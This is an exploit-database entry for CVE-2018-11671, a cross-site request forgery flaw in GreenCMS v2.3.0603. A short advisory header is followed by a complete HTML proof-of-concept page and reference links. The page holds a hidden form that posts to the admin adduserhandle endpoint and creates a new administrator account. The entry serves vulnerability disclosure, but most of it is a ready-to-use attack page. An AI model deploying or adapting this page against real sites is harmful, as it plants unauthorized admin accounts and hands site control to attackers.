39 lines
No EOL
1.7 KiB
HTML
39 lines
No EOL
1.7 KiB
HTML
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
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# Date: 2018-06-02
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# Exploit Author: xichao
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# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
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# Software Link: https://github.com/GreenCMS/GreenCMS
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# Version: v2.3.0603
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# CVE : CVE-2018-11671
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An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.
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poc:
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<span style="font-size:18px;"><!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8">
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<title>csrftest</title>
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</head>
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<body>
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<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">
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<input type="hidden" name="user_id0" value="1">
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<input type="hidden" name="user_login" value="test1">
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<input type="hidden" name="password" value="test1">
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<input type="hidden" name="rpassword" value="test1">
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<input type="hidden" name="user_nicename" value="123">
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<input type="hidden" name="user_email" value="123%40Qq.com">
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<input type="hidden" name="user_url" value="www.baidu.com">
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<input type="hidden" name="user_intro" value="test">
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<input type="hidden" name="user_status" value="1">
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<input type="hidden" name="role_id" value="1">
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<button type="submit" value="Submit">add admin</button>
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</form>
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</body>
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</html></span>
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References:
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http://www.iwantacve.cn/index.php/archives/39/
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http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
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https://github.com/GreenCMS/GreenCMS/issues/109 |